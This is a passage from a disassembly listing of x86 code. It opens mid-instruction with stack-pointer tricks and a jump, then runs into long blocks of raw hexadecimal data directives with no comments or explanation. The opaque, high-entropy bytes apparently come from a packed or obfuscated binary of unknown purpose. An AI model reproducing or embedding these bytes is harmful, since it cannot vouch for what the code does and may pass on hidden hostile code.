edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_4FF07A ; --------------------------------------------------------------------------- db 85h, 7Bh, 0B8h dd 0AC6FBDFCh, 52B83985h, 3060E19h, 17E0FFC5h, 5F54DDC2h dd 9F57AF41h, 0CC7D2B69h, 0C831F27Ah, 5D77F7D5h, 0BE08AACCh dd 0F4113F8Eh, 0CE2E0647h, 9751125Bh, 0D6416674h, 7505EF48h dd 955F3E8Eh, 0AE4816EDh, 9A737F76h, 0C5790819h, 202D0B02h dd 4D6F7848h, 0C02A3DD4h, 436D26C0h, 59373Ah, 0E966EE22h dd 24h, 2E7D76C4h, 8 dup(0) dd 5D3E9h, 0B7A47300h, 52090BD9h, 0F16AA674h, 8ECD4513h dd 2833E2B0h, 1ABDAF4Ah, 0B48260FBh, 4D1BF962h, 0E9B795C6h dd 83553328h, 8536189Fh, 0E1BB84D5h, 4E0D0442h, 0A36F2D2Bh dd 0EBCE95B8h, 8F6DEE27h, 0E80B50C1h, 0A1716DA4h, 0A6844736h dd 0D5841021h, 55BF0326h, 779FE306h, 947DC1E4h, 1FA6A4C7h dd 7EC81C3Dh, 70387FC2h, 3D054C0Bh, 0E6759C46h, 82D93A08h dd 1E3DD6A4h, 0FC5FB7FBh, 185FCDD9h, 8DCE4604h, 2E2DE6AAh dd 0CC8F8250h, 1CC59CA9h, 0BED7EC8h, 0F68FB4h, 7E95DE88h dd 0BC000000h, 2B4E0D04h, 0C76B461Eh, 0C3987C7Eh, 391BA2A0h dd 0BE7EC76Bh, 99C24F7Bh, 0FF17876h, 947EC76Bh, 0DDA2AA51h dd 1D62447Eh, 93C84907h, 0B17411B0h, 117DE88h, 3E000000h dd 284B1004h, 452B30E4h, 6B6446CDh, 0A6E97EC7h, 4EC408C3h dd 6CA6EA0Dh, 8988CCEFh, 23B5AFD2h, 0F0B8FF5Ch, 96C54F8Bh dd 28A6EBB0h, 0D953B43Fh, 33F880F6h, 2FE3CC1Bh, 0F42092Ch dd 0F0D3CE9Eh, 9876E52Ch, 0CD110429h, 45681744h, 25481301h dd 5FB27066h, 328919FCh, 502E2DE8h, 0A9CC8F82h, 0CAAC33ABh dd 4F7EC76Ah, 0AB65290Ch, 0F3A18DB0h, 0B71E778Ch, 0B86DDE88h dd 94000000h, 274A1104h, 70F72DE3h, 7EC76B8Eh, 0FE21D013h dd 0E20556BAh, 9552D497h, 4470340Fh, 0AA698CCFh, 377EDDA2h dd 0A0820981h, 257EC7DFh, 0FC5FB6E2h, 0E8328919h, 7C62B12Dh dd 6413C299h, 0FE5DB886h, 3719A018h, 757EC7DFh, 0D299BC9Fh dd 0AEC73EDh, 8F7EC7DFh, 0FFBA9D4Ch, 1E0457BBh, 0DF3D1FA6h dd 997B7EC7h, 0B49ADDC2h, 0C7DF4B2Dh, 0AA8DD07Eh, 6E5503EFh dd 8843BCD9h, 931A92DEh, 7EC7D5B1h, 0CF10F336h, 4Fh, 4A1104F6h dd 0A86B2927h, 0E6C990B3h, 28EDF122h, 9A491033h, 0A51A4E77h dd 2C9BFABFh, 70A4756Ah, 0F4CC98Dh, 0F7FC6429h, 17F9B65Dh dd 44FBE34h, 1B284B10h, 7EC76B44h, 2F358A6Ch, 0EC0A756Ah dd 9275D970h, 87CA92F3h, 1F9DEh, 4200000h, 2E2C4F0Ch, 9085869h dd 583B02EAh, 0B3617D94h, 0C574E72Bh, 15A8DBA2h, 60C4CC77h dd 0CBD7FAA9h, 54BC665Dh, 0BD57878Ah, 5B47B9Eh, 8E6C1BE2h dd 0DFC51D04h, 0C045D158h, 0A58BCE78h, 0EC4A62Dh, 64978C1h dd 0AC6A6823h, 7CEF16Ah, 0AAB16024h, 4813FECCh, 0E401825h dd 5D9178C1h, 38A0266h, 78C10E21h, 0E3C1EA5h, 7EC178C1h dd 0AF735699h, 0BA9F7562h, 86A9B263h, 0F1618CBFh, 7557DEC4h dd 0FA78C15Bh, 5C2A08B7h, 2C0A6B5h, 61284B10h, 927FC37Eh dd 0DFE7A6C9h, 88D33E98h, 2B30E4A2h, 0E85E4108h, 0ADDD9B60h dd 790F14A6h, 1A8EF796h, 95FDE48Fh, 0B000001h, 6F92C94Dh dd 0F608EA71h, 4A8D78C0h, 4A53B89Bh, 0B3D6858Ch, 908909ECh dd 0F41744CDh, 11987E2Dh, 78C06F96h, 5D7A9C5Ah, 1F99C248h dd 0D6B968C3h, 0F5F31659h, 0CC14F67Dh, 0C35278BFh, 8D70B398h dd 2D1348C9h, 68744668h, 0C057FFE1h, 0E418478h, 2B0E93DBh dd 312AE7B5h, 182B864Bh, 88ED59CAh, 0FD25C07Ch, 0CDB36287h dd 0BF876446h, 0C3A6E978h, 8A4DC408h, 0CE023423h, 597C2B30h dd 2AE6A49Ah, 3B0FAEADh, 86357850h, 72AC13A3h, 5ED6BC9Fh dd 0BFB2F5D7h, 54377A78h, 57DE56DEh, 78BFB375h, 85D63AFAh dd 3154F3D6h, 5AE49069h, 47h, 8FD04881h, 0F0B7DA81h, 0D2D45B41h dd 97FEC76Ah, 42243154h, 80FEC76Bh, 60A4C794h, 5A83A6B5h dd 20025126h, 2734E2A0h, 0CA5A3D04h, 0B2F56DF5h, 40D0FC5Fh dd 8231F81Bh, 6B13159Ch, 95D87EC7h, 9E31B7h, 48CE0000h dd 9C2309D1h, 78BF8BB1h, 0FC5FB775h, 0B22F12D9h, 894E4C6Fh dd 0FAEFFB32h, 88056BDFh, 79082F62h, 5BB67A5Dh, 0C26042C9h dd 0A2E578BFh, 0CA4715F3h, 8C616E91h, 0DD78BFC1h, 904ED2A9h dd 33F7DA81h, 159F7DDEh, 69F0D60Ch, 72B0DDC5h, 52090ACAh dd 0D53C80A3h, 0A3520909h, 0B1067480h, 846AB0A9h, 2B0D940Ch dd 6972B1A7h, 89CCB1AAh, 0C37519A6h, 377A6CA2h, 7052D951h dd 0F56CA38Dh, 0CD7CDF35h, 74EC74EAh, 6BF17AAFh, 11063FE1h dd 6CA42A2Fh, 48B71B4h, 6CA42A22h, 1C8164A7h, 2309D148h dd 0B887F89Ch, 0D4BAFD78h, 3C5FFC16h, 90CB4975h, 36F4F2ADh dd 935A7DDEh, 0FF25ECB0h, 0B9519678h, 29D81B78h, 0C44BC34Bh dd 78B950E2h, 7D412467h, 0A6A4C794h, 103328E8h, 94D96649h dd 0CA9045A9h, 0ACF01348h, 4DC8F467h, 71DFEB0Eh, 3E064D0Ah dd 0E7749D79h, 85D63B09h, 0AA34E19Fh, 0BD2F566h, 75E6305Ch dd 7F93D792h, 0F9A8B35Fh, 548392D6h, 6C8FD252h, 0EF12C1C1h dd 0C4F06BABh, 8CEB0E4Dh, 0ACA0FFC4h, 749D793Eh, 0D63B09E7h dd 0F16301h, 7FB24E53h, 0EF294958h, 0A6C97845h, 0C7A930A8h dd 4C504644h, 1DAA2609h, 2E000000h, 82B5B69h, 9B7ECE27h dd 37FC2036h, 0A24C3FABh, 6345CC00h, 0E87EC80Bh, 0AE13F6A5h dd 25481304h, 82B30E1h, 0E90C4FC4h, 0C7EA71A5h, 0A6C99283h dd 85A8B362h, 678AD141h, 4B6EED23h, 2B4E0D07h, 3AF1682Ah dd 2C890000h, 204B6824h, 2C890000h, 77E56824h, 4890000h dd 10BF5724h, 0BD5F1F34h, 652D4E7Fh, 1CCAC581h, 0FD296709h dd 1CCAED81h, 545F6709h, 8324048Bh, 1F6804C4h, 89000043h dd 408F242Ch, 2434FF08h, 4C48158h, 8B000000h, 8957242Ch dd 4C781E7h, 83000000h, 3C8704C7h, 2FE95C24h, 19FFF95Bh dd 85671DBh, 0E1FD7B8h, 0FFC50306h, 82F5ABE0h, 0C14B1126h dd 0C565A938h, 5FE6A37h, 0D1DFE840h, 0D2768745h, 0EB284607h dd 5A175C19h, 1D408D18h, 91CDC4Bh, 79612C30h, 942C1108h dd 0E068A416h, 829F3A46h, 0E36FC85Bh, 0B35ACB10h, 8269C10h dd 92A62B5Fh, 998C5634h, 0A7A9D273h, 0D8B75Dh, 0E5C03E78h dd 606C5F3Eh, 0C90AFC41h, 585C619h, 5606072Ch, 0C530DF68h dd 0ADB5FFA9h, 8D060731h, 0A7B1F85h, 8DD0FF06h, 70B658Dh dd 406A5106h, 0C01B5FFh, 0B5FF0607h, 60727D5h, 0B5FFD0FFh dd 6070C01h, 27D5B5FFh, 5E80607h, 0C2000000h, 0B74C4677h dd 0E9835959h, 242CC104h, 2424C102h, 240C0302h, 68241CF7h dd 0 dd 0B34FF5Bh, 0B4F6815Eh, 8169BFF8h, 3C35E0F6h, 9CC68172h dd 5610F345h, 8319048Fh, 3B4B03EBh, 850F241Ch, 0Fh, 1DE9h dd 0C4DB0600h, 22710FFBh, 0E97CA11Ch, 0FFFFFFC5h, 0F2F09B3Ah dd 0B5EF4595h, 9ED34CDh, 9D8D4AB8h, 6070711h, 0C00B038Bh dd 7840Fh, 38B0000h, 89045B8Bh, 0E8C98B18h, 0Fh, 8F7BA2A1h dd 97073D2Eh, 6A53A0A9h, 6698357Ah, 5A0E32BFh, 81F38B66h dd 6D68C2h, 1B2F6800h, 0E9590000h, 0Ah, 54F2C95Dh, 0A53FD16Ch dd 32FFA967h, 5890F5Bh, 0BE000000h, 60983354h, 102F381h dd 0CEB02634h, 2FD0EB81h, 810F67F7h, 2, 0C381C68Bh, 50090DA4h dd 13E9h, 0EC866E00h, 5B1ECCB5h, 0F5EA27CFh, 73F1EC42h dd 8B0874D1h, 8E91A89h, 7F000000h, 6A34B7Ch, 811D7CD9h dd 0BB7CF6EAh, 0A03BE5Fh, 0C28100EBh, 5FBB7CF2h, 0A840Fh dd 8A0F0000h, 4, 0E597BF66h, 1E981h, 850F0000h, 0FFFFFF82h dd 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 0E2230EDh, 8428B06h dd 2638453Dh, 38850F78h, 8B000001h, 4A8B0C42h, 0BBC8D318h dd 69AB07D2h, 0E883C333h, 79858904h, 8B060706h, 0F88B0458h dd 8B10428Bh, 0C8D3184Ah, 0FD075ABEh, 2BC633F2h, 0FCE083C7h dd 8904E883h, 72CE585h, 14428B06h, 2D058589h, 428B0607h dd 0B0E95318h, 0FF000000h, 70B75B5h, 0B9E906h, 0B5FF0000h dd 60721C9h, 0AEE9h, 59B5FF00h, 0E9060706h, 0A3h, 11C5B5FFh dd 98E90607h, 0FF000000h, 73221B5h, 8DE906h, 0B5FF0000h dd 6070C91h, 82E9h, 0C5B5FF00h, 0E9060732h, 77h, 0C11B5FFh dd 6CE90607h, 0FF000000h, 7157DB5h, 61E906h, 0B5FF0000h dd 60705A1h, 56E9h, 15B5FF00h, 0E9060715h, 4Bh, 11E5B5FFh dd 40E90607h, 0FF000000h, 71B45B5h, 35E906h, 0B5FF0000h dd 607139Dh, 2AE9h, 0BDB5FF00h, 0E906072Ah, 1Fh, 399B5FFh dd 14E90607h, 8B000000h, 0BB8D8h, 0F7660000h, 918D8DE3h dd 3060E22h, 0FFE1FFC8h, 700BD95h, 858B5B06h, 6070679h dd 0F045839h, 0F85h, 16A5300h, 16B595FFh, 0E95B0607h, 0FFFFFFE2h dd 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 2B69858Bh, 8D8D0607h dd 60E237Fh, 8B014189h, 788D8DC3h, 6A060E24h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 295CC353h, 0A9DE07FEh, 0CD958B49h, 89060703h, 706798Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 73F0020Eh, 2A70E526h, 85C74E62h, 6072CE5h dd 6AF8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 36C35242h, 8B56C8CFh, 70161BDh, 85C75806h, 6072D05h dd 0 dd 494DA81h, 0B5FF23CDh, 60711C5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 3CC35343h, 861D3B70h, 0C8D0F51h dd 0F000000h, 68Eh, 0B5958B00h, 0FF060720h, 700BD95h, 6AAEB406h dd 0B595FF00h, 8B060716h, 922CEBC0h, 2EE2B5E2h, 0BB5088BAh dd 794AF562h, 62E16383h, 0A01D4593h, 0FAC0CE87h, 85507282h dd 4A7FC1C5h, 0E1FD977Bh, 18439874h, 0E8AD0D76h, 11h, 1B06C538h dd 9E67B48Eh, 8B4F912h, 0D0410F4Bh, 47E181ADh, 582BCAE8h dd 124D8D8Bh, 0C0810607h, 73C0h, 9F8848BBh, 79C3810Eh dd 1F16094h, 73175BDh, 81388B06h, 669AE9D6h, 0D4EF8110h dd 816B385Eh, 0E9DA2F1h, 41F7813Fh, 0B54FA974h, 0AFC78189h dd 0F95B39F3h, 8FD38B57h, 0D19D8900h, 81060715h, 0DFDE25E8h dd 0D98D0143h, 8106071Dh, 0DFDE21C0h, 0CE96043h, 0D0000000h dd 9D737D13h, 0C1087A9Fh, 0FD13B24h, 58Eh, 0F060BA00h dd 4B612DA2h, 12850Fh, 0B58B0000h, 6072779h, 1BE9h, 0EF1F8F00h dd 6E333FEFh, 59595151h, 0FFFF80E9h, 0F48190FFh, 221AD20Bh dd 66577F7h, 2AE9h, 0B61AE900h, 1Dh, 8 dup(0) dd 0E9000000h, 49Bh, 0E26B468h, 55C0E906h, 4268FFF9h, 0E9060E27h dd 0FFF955B6h, 0E28B368h, 55ACE906h, 53C4FFF9h, 0B85C2A08h dd 19F7C5A3h, 7C966442h, 0E23301DFh, 6C009B79h, 0D3B1AA6Bh dd 6C4A1105h, 8E6759Eh, 0A684D73Ah, 8769F0D4h, 0C84D590h dd 56BC7A32h, 381BE205h, 4A1104D3h, 2D2EE327h, 865CC54Fh dd 478FDBA0h, 0AD97D858h, 8EC54CCAh, 0CB78BFC4h, 82586588h dd 1078C06Dh, 0FF5CB674h, 7557DEDCh, 0FA78C06Dh, 952508B7h dd 23753A2Eh, 48D5C0A7h, 572ECDB0h, 34E48EC8h, 2F2h, 898C4A5Bh dd 5E8AFD2h, 61BAE30h, 9073FAE0h, 1478BF97h, 54DF934Fh dd 55381675h, 41A595D8h, 0B8CF9E7Ch, 0C0504F31h, 5E91D478h dd 3417DDB2h, 5A2058A7h, 974FD25Bh, 6C9F2AB1h, 61A47552h dd 3DB3E3Eh, 73D4961Dh, 52196F4Bh, 0A9301702h, 6F4C13C7h dd 6AD6094Ch, 381C4F0Ah, 0C04E09D5h, 4402E897h, 0E2B08ECDh dd 0AEF52C2Fh, 531B15C4h, 2DDF6F2h, 5FB80000h, 0C4501EFCh dd 25EBB997h, 888A5836h, 0EE27F5D3h, 78F48F6Dh, 0C7A5B65Fh dd 603E1DF9h, 0FCDA8192h, 9A78E32Eh, 7B5DE4C8h, 84D591h dd 8C4A8726h, 0EDB4D784h, 18978A0Ah, 82A5B65Ah, 6AE4C6BBh dd 26697EC7h, 40D39177h, 4B31F81Bh, 0C76AE2C4h, 4124677Eh dd 8CEF3CC3h, 0A66B78B8h, 0F61DA337h, 487B4265h, 0ECCF4D96h dd 88462C6Fh, 22F0CE8Dh, 3328EBF3h, 779A4910h, 0B8C6956Ah dd 1546CB78h, 0A8CACFDEh, 0D5D13211h, 24Fh, 0AC8AD146h dd 472536DEh, 0E6C49779h, 8361FA18h, 1DFB60B5h, 28EDEA82h dd 8F875533h, 0F320EECCh, 55BC8A68h, 72562806h, 0D59209EBh dd 15B48E84h, 2309D148h, 7336E6ABh, 4467F41Eh, 468B4A7Dh dd 0D13E20A7h, 80C37EC7h, 0EB70A5D1h, 911E01C8h, 78B8F344h dd 4E5B7EC1h, 78B9AC78h, 0DC635806h, 0E49674A9h, 185E2h dd 0D040900h, 1EA3684Eh, 4516FE3Ch, 0B4285B22h, 13CEB1CDh dd 331942CFh, 0A3ECC26Eh, 0B89B283Eh, 79A1B842h, 0F4390C93h dd 0FEBE78C0h, 5A214417h, 0D40BED74h, 4D9078C0h, 1CFAB89Eh dd 72551C3Fh, 0D3D4AAB7h, 0B46278C0h, 5AE159CFh, 78C0D478h dd 38D7BAFDh, 0E48F4C4Dh, 20028901h, 0A578C0CCh, 0CBC2A42Bh dd 44778C0h, 40317255h, 58000000h, 8A8CD148h, 38E7AED1h dd 0EB15DA52h, 0D2F4C8F1h, 5C7FDC34h, 7603E695h, 78C08A9Fh dd 0A9B6D91Ch, 78C129D3h, 37CCB361h, 0E48EF24Eh, 0A13Dh dd 4CD34B00h, 78C11E6Ah, 75E62FEFh, 47EE3C6h, 0E72B4E0Dh dd 0C60A2D2Eh, 0A9ED104Bh, 7E15F368h, 7EC76E82h, 6C4A1100h dd 0C1A77FE2h, 0F9D38449h, 0CDC398AEh, 0F1AB5DEAh, 31EF78BCh dd 8D5477E4h, 0A13E20A7h, 80C378BDh, 0F7DD209Dh, 754C17Fh dd 763A1DE4h, 87D43F9Fh, 0E92CFAD8h, 0F07C3B72h, 248511A3h dd 0DE28h, 0FB60B700h, 96C54F1Dh, 3526EAB8h, 0D2898957h dd 6CEF26F4h, 5E79F38Eh, 0F8C6A4B7h, 915F3D1Eh, 2DFBD982h dd 0C79977E4h, 937A5CE3h, 25FF84D5h, 4A110486h, 0E8739E6Ch dd 0D049B0Ah, 6F2D2B4Eh, 0ED2B5A6h, 0F07A5803h, 44CBB169h dd 78BFB58Ah, 0E8A68CCFh, 0B9502E2Dh, 78C01CE3h, 2CE6F819h dd 0D4A2802Fh, 0BC341A41h, 7DE0FCF7h, 0C01A6ECh, 78C0652Ah dd 0CE896CAFh, 62D2h, 0D1486F00h, 0E6AB2309h, 67A54044h dd 0F1D3C89Eh, 767EC76Dh, 4BD25033h, 78B88FFAh, 0D5193C7Fh dd 73411F3Ch, 8D9ABD9Eh, 7D007874h, 0AE684F17h, 4C1AF863h dd 757396C5h, 0DE015AB7h, 0A2703417h, 1C8A96B9h, 41967BA7h dd 3C084AEBh, 0DCBA6962h, 3558030Eh, 0A39h, 12FFBD00h dd 7C5F2649h, 4152017h, 0E1254813h, 0C4082B30h, 0A5E90C4Fh dd 83C7EA71h, 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh dd 2A2B4E0Dh, 5E08950h, 4, 8704E883h, 895C2404h, 8956241Ch dd 4C681E6h, 81000000h, 4EEh, 24348700h, 241C895Ch, 81E68956h dd 4C6h, 4EE8300h, 5C243487h, 52243C89h, 0E25C0BAh, 8BD38906h dd 0C4832414h, 3C8B5404h, 4C48324h, 52DA8952h, 7C243481h dd 8F50C238h, 77810847h, 0C2387C08h, 34FF5A50h, 0C4835F24h dd 241C8B04h, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0F95131E9h dd 0B88A39FFh, 60E29B6h, 0E0FFC503h, 37F2D762h, 18555748h dd 3348E1F0h, 14E8h, 84C44600h, 6060F13Bh, 1E63CAF9h, 87889760h dd 0F7E537A6h, 0DFB70F90h, 0AE85Ah, 9A0D0000h, 0A6111E62h dd 0AAD0C869h, 0FED78166h, 0C2815BEBh, 6D18h, 1068A6B3h dd 8B00001Bh, 0FFF95EC7h, 59B7B032h, 9840Fh, 8F0F0000h dd 3, 81C7BF0Fh, 0DE175EC1h, 0C91BBB79h, 0C1812596h, 3CB5DD4Eh dd 81FEB70Fh, 1689EAF1h, 0B70F525Ch, 0E95158C1h, 13h, 0AC2F6C0Ah dd 1E21D045h, 0BE86A016h, 0A8CB54EFh, 8F9802A6h, 7E22BB02h dd 0EA810D7Bh, 2C01BC3Dh, 3800Fh, 8B660000h, 39C281C3h dd 662C01BCh, 16F8D781h, 1EE81h, 850F0000h, 0Fh, 52D88166h dd 1BE946h, 0A7610000h, 0F63D40Dh, 680h, 57EB8100h, 0E92D1415h dd 0FFFFFF67h, 56D165A8h, 0EB8D8D28h, 6A060E2Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0F5AC357h, 893816E6h, 706798Dh, 0C7D98A06h, 72CE585h dd 6AF006h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0C8816650h, 3CBF4234h, 0C71BFA3Eh dd 72D0585h, 6, 68D0F00h, 29000000h, 7072D85h, 75B5FF06h dd 3306070Bh, 70E7DBDh, 0BD95FF06h, 6A060700h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0DE61C357h, 33AB2903h, 0B798489Ah, 27D958Bh, 6A0607h dd 16B595FFh, 0C08B0607h, 0C9FD7DEBh, 27949252h, 0D1754A99h dd 4CB49D86h, 9AC76D3Dh, 671E4034h, 76B82558h, 409F43EDh dd 353EED13h, 0BF4BD804h, 60ACDC0Dh, 4B34C355h, 542FE4FBh dd 1E1D438Bh, 39B3AA3Ah, 0C9BED8E1h, 0E925C1Dh, 497B541Fh dd 0BF840847h, 0B000DE4Ch, 41AB2746h, 9C3287D4h, 5F4BB8C0h dd 242BBAA3h, 59A29F55h, 0EA7D08E6h, 0E3ABF9B3h, 7577873Fh dd 0CBC1997Ch, 2D2F7387h, 0FF3F4B58h, 0E8E69A09h, 14h dd 3732187Fh, 5029A651h, 20C3E1D2h, 96112EDBh, 0DB6817D7h dd 5B10CD80h, 54C381F9h, 0F000060h, 68Ah, 99858900h, 0BE060714h dd 2AF4FCD9h, 0EB3EF681h, 8D092AF4h, 6071219h, 9531038Bh dd 60705E5h, 379CC081h, 5F513452h, 39B4F081h, 8D8B6765h dd 6072D39h, 588DE881h, 8B5028F2h, 730D195h, 3895A06h dd 4F99589h, 0EB830607h, 998D0B04h, 83060724h, 850F01EEh dd 12h, 46D8D01h, 31E90607h, 0AF000000h, 1B59A143h, 0DE814FBh dd 8A000000h, 660EFB65h, 3029331h, 9639EEEDh, 15BD8951h dd 5906070Bh, 0FF8AE95Ah, 3B8DFFFFh, 0BFF59958h, 0DBEB437h dd 10E8h, 9654CC00h, 54A1049Ch, 47C710D5h, 0F4B28126h dd 81666062h, 664A4BE8h, 613256BAh, 9DBD8B59h, 8106070Dh dd 695EC1h, 68DE8A00h, 0 dd 329D9589h, 0E95A0607h, 0Ah, 0AA2891C6h, 0B9E1E59h, 348B08ECh dd 0AE911h, 657D0000h, 22BCE094h, 0BD3324F9h, 0DCBAF681h dd 0FB8B716Bh, 381FF681h, 85892BD3h, 607176Dh, 5660EE81h dd 9D2314C2h, 6071499h, 60113489h, 28E59D03h, 14E90607h dd 94000000h, 6DAFFC82h, 569CA831h, 0BC5DA64Dh, 6CB2A909h dd 614DC077h, 12C38166h, 4EA8359h, 89858B56h, 5F06070Bh dd 9758FA81h, 850FFFFFh, 0FFFFFF8Eh, 0E8DF8B66h, 6, 7126F7CBh dd 0BA669DBBh, 3359AC76h, 7300D95h, 0D5C18106h, 0F00005Bh dd 388h, 0FE38000h, 16D9BEh, 0F99D8B00h, 0FF060715h, 0B5315831h dd 6071EF5h, 0EBD6C081h, 958B6B4Bh, 6072015h, 976CE881h dd 9D895DBBh, 60709ADh, 0A65BF081h, 6EBB7136h, 506976E6h dd 8F8BB66h, 9531018Fh, 60730A5h, 0F504E983h, 0BC850F4Eh dd 3FFFFFFh, 703959Dh, 83C08B06h, 70FF5BDh, 9750006h, 3001BD83h dd 74000607h, 8B535019h, 421B8C0h, 85890000h, 60709D5h dd 0ACA79D8Dh, 0D3FF0609h, 0BD83585Bh, 6073001h, 50177400h dd 421B853h, 85890000h, 60709D5h, 0A9969D8Dh, 0D3FF0609h dd 0C08B585Bh, 14099D8Bh, 85C60607h, 6072C05h, 0B8526856h dd 0B5FF9CA8h, 60731ADh, 7B1F858Dh, 0D0FF060Ah, 68046Ah dd 0FF000010h, 72085B5h, 0FF006A06h, 0FC085D0h, 0D85h dd 0B800h, 8D8D0000h, 6076D68h, 0C88BE1FFh, 4003C38Bh dd 0F8053Ch, 508B0000h, 83D3030Ch, 70711BDh, 840F0006h dd 0Eh, 7119D8Bh, 858B0607h, 6072AC5h, 52510389h, 76D5858Dh dd 0D0FF0607h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 6072C05h dd 6D396856h, 0B5FFD41Fh, 60731ADh, 7B1F858Dh, 0D0FF060Ah dd 800068h, 52006A00h, 0C08BD0FFh, 0FF5BD83h, 75000607h dd 1BD8309h, 60730h, 53501974h, 21B8C08Bh, 89000004h, 7265D85h dd 0E9D8D06h, 0FF0609ADh, 83585BD3h, 73001BDh, 17740006h dd 21B85350h, 89000004h, 7265D85h, 0AF9D8D06h, 0FF0609A9h dd 8B585BD3h, 119D8DC0h, 8B060707h, 0FC00B03h, 784h, 8B038B00h dd 1889045Bh, 4B41B8h, 5E800h, 727D0000h, 812EC731h, 0D21CC6F7h dd 8B66586Bh, 86C081D6h, 0F0000E7h, 588h, 0DF816600h, 0B8B9C9E1h dd 66000039h, 308BDA8Bh, 0AAE38166h, 0E5EE81B6h, 81192518h dd 0E26BEDF7h, 5EF68163h, 666D0C96h, 283DDB81h, 0FA69EE81h dd 6E92C62h, 0D000000h, 46716B6Eh, 0BF0F5616h, 66008FD2h dd 0C3D3E381h, 5704E883h, 0BE960h, 14C40000h, 5FF9BF17h dd 0C6BE9F01h, 616160C4h, 850F495Bh, 0FFFFFFA6h, 0DE960h dd 8B500000h, 0F46D589Fh, 6291A0B7h, 0FCD24E3h, 0E89h dd 8E800h, 0DB010000h, 69C60D59h, 615B5228h, 2AE9h, 2404C700h dd 0 dd 0E8h, 0ED815D00h, 60E308Bh, 424448Bh, 21FD8589h, 0B80607h dd 8D000000h, 74E1C8Dh, 0B8E1FF06h, 6754h, 0EE8h, 0AA12A900h dd 3754FB5Bh, 0AC0C6633h, 0FD0A030h, 38Eh, 0CEB70F00h dd 0E8B0F5Ah, 0E9000000h, 9, 6C97B4FEh, 3CD9462Ah, 0DCC281BAh dd 0E9000067h, 12h, 0BE252EE7h, 1001368Ch, 0ACD05A53h dd 23256574h, 0BE75CAh, 60000000h, 11E9h, 50A61600h, 96B2FBA9h dd 4FD11C72h, 0E1C2B28Fh, 0FF61EAD3h, 0B8661634h, 0F5B8308h dd 0F381C6BFh, 165B7116h, 0F381CA8Bh, 0ED59F24h, 0C8ABCBFh dd 96C38104h, 8B0CF1B3h, 48F53FBh, 6BBE6032h, 0F1B8548h dd 282h, 615A5700h, 0F278EE81h, 0DE81A96h, 0BA000000h dd 2B8AFE62h, 1EC2B1D4h, 0D5874DF1h, 58C7BF0Fh, 0F274C681h dd 0BF0F1A96h, 1CFE81F8h, 0FFFFF99h, 1E85h, 6E900h, 0D1340000h dd 81E7A637h, 1CE9h, 0E08B4300h, 89C1670Dh, 0F90E6436h dd 66C6DAB8h, 0E92B6AB8h, 0FFFFFF6Fh, 0D7363A92h, 0A19D8DB7h dd 0B8060730h, 1300h, 1D518589h, 0E80607h, 58000000h, 0D05h dd 0E9038900h, 1300h, 4C0h dup(0) dd 0DE9h, 40694B00h, 55h, 0 dd 56E90000h, 0ED000005h, 8553312Ah, 20EECC8Fh, 0BF8D6BF0h dd 5C2A0853h, 29C4A2B9h, 0DA819443h, 73E82EFCh, 0F4CC795h dd 0ADAE6331h, 9219FDCFh, 84D5AFB0h, 4BC5B35h, 0E72B4E0Dh dd 0C74F2D2Eh, 6B4E0D09h, 9F746AA7h, 0D58690BCh, 193CEBB2h dd 0FC1F3CD5h, 0DCFF5CB8h, 5ACEB57Dh, 0BEE17A9Ch, 1447CBF7h dd 0B7A46D31h, 5CFF13D1h, 9275E630h, 96C54E1Ch, 0A07230B8h dd 0EED198BBh, 4F72E92Ah, 2D500B0Bh, 12CCB321h, 0F47C5A01h dd 0D1F8DF36h, 0FBDB0B8h, 1FE609B8h, 0C299783Ch, 0FBB929Fh dd 24F17EC8h, 46D01437h, 95C9F215h, 5537712Eh, 0DACD96Eh dd 42DFDE88h, 6000000h, 0D5868C4Ah, 78E32EF2h, 6B704855h dd 0B6987EC7h, 0B14B3AC1h, 140DE88h, 67000000h, 284B1004h dd 6DF430E4h, 7EC76B8Bh, 0FB1ECD10h, 1A005BB7h, 0C2A5B65Ch dd 9BE0A807h, 0A886D53Fh, 462437DAh, 4A1104D7h, 0ED6EA664h dd 652003CAh, 4568F321h, 23397E86h, 0CAAC33ABh, 4F7EC76Ah dd 6B35170Ch, 0F3BA7EC7h, 0E1998ED8h, 0B4974688h, 583625F0h dd 0B1D4878Ah, 95B8A36Dh, 7F84FBA9h, 0DE889F16h, 8575h dd 11049C00h, 6B29274Ah, 47CEB4A7h, 7EC76B65h, 0C4A7EAh dd 0DC48CE10h, 0C76B7355h, 6B5F87Eh, 4A6D1CE3h, 2E510A06h dd 0E312AEAh, 8DCAB1E5h, 23397E46h, 6B4224ABh, 84C77EC7h dd 6B35179Eh, 77BA7EC7h, 1645D094h, 0BBA07230h, 78EED198h dd 0CDF06BAAh, 5A0111CFh, 0C98D7037h, 3EF1249h, 0BCD96E55h dd 0CFDE88B7h, 4Dh, 81854AF6h, 0D2E962E7h, 0F025E9CCh dd 0F04486Bh, 0CC00294Ch, 71EA2BF7h, 10042493h, 441B284Bh dd 7A7EC76Bh, 5EA2C596h, 196F21B6h, 0C40EA144h, 95C9F215h dd 6737712Eh, 73FC92A2h, 0D9BC2CBFh, 0B8CD7249h, 0D3DE87F5h dd 1, 0CB0C04FAh, 3700A327h, 1C3FD1CAh, 0D48332F9h, 20F5B3B1h dd 7D94583Bh, 9977BBDEh, 0B75B9FC2h, 245881A4h, 0D6517C5Fh dd 75D2F030h, 0FE76D2C6h, 0BC1DFF86h, 5FA27EC7h, 0C7BC886Ah dd 0F4CC67Eh, 5ABBE72Ah, 298E1E01h, 7A0123EDh, 7EC7BC98h dd 4D2BDA1Dh, 0E4C64DC5h, 697EC7BBh, 0D6C5FFA2h, 7B2A2547h dd 7295C64Fh, 0D148C8ABh, 0EDAB2309h, 0C64D3328h, 7EC7EFE4h 